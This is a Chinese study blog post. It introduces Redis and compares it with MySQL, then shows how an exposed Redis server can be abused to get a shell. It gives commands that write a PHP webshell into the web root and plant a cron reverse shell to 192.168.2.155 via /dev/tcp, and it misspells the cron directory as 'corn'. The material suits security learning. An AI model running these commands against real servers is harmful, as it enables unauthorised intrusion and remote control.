什么是redis
一个免费、开源的Key-Value数据库。(MySQL是关系型数据库)
redis和mysql的区别
- mysql可以通过where等sql语句来查询想要的数据,而redis并不关系存储的数据类型,只能通过key来寻找value,也就是说Key-Value需要通过遍历所有的key才能找到想要的value。
- mysql的存储更加倾向于作为一个表,而redis则是键值对。
放一张其他地方看到的图,会更加容易理解:
上面是关系型数据库,下面是Key-Value型数据库
一般来说:
mysql用于持久化的存储数据到硬盘,功能强大,但是速度较慢。
redis用于存储使用较为频繁的数据到缓存中,读取速度快。
redis的一些常规操作
首先利用apt-get install redis-server
在linux下安装好redis,然后在命令行输入redis-cli
即可进入redis服务器。
redis一般是6379端口。
redis安装完成以后有自己的命令行,也就是redis-cli,其中包含的命令可以在http://redis.io/commands 进行查阅。
redis通过set来设置key和value,利用get来通过key查询value。
redis如何getshell
由于redis存储的文件是二进制,且可以被执行用来存储数据的文件和路径可以被用户通过命令更改,所以可以被利用进行getshell。
- 先来最简单的:
利用redis的配置dbfilename和dir用来任意文件写入,再用save命令将文件写入到硬盘。
config set dir /var/www/html/
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"
save
效果如图:
2. 反弹shell(ubuntu显示Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Permission denied错误):
config set dir /var/spool/corn/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.2.155/2333 0>&1\n"
save
- 利用ssh连接,这个我也没太看明白,到时候再研究:
需要注意以下几点:
- 前往官网下载,不要用
apt-get install redis-server
命令,不知道为什么,apt安装的redis我不能正常save,但官网下载的可以正常启动 - 官网下载的在启动了redis之后,需要新开一个terminal利用redis-cli连接redis,但可以通过原来的terminal查看信息,效果如图:
参考文章:https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.htmlhttps://www.jianshu.com/p/33fd9eb90e98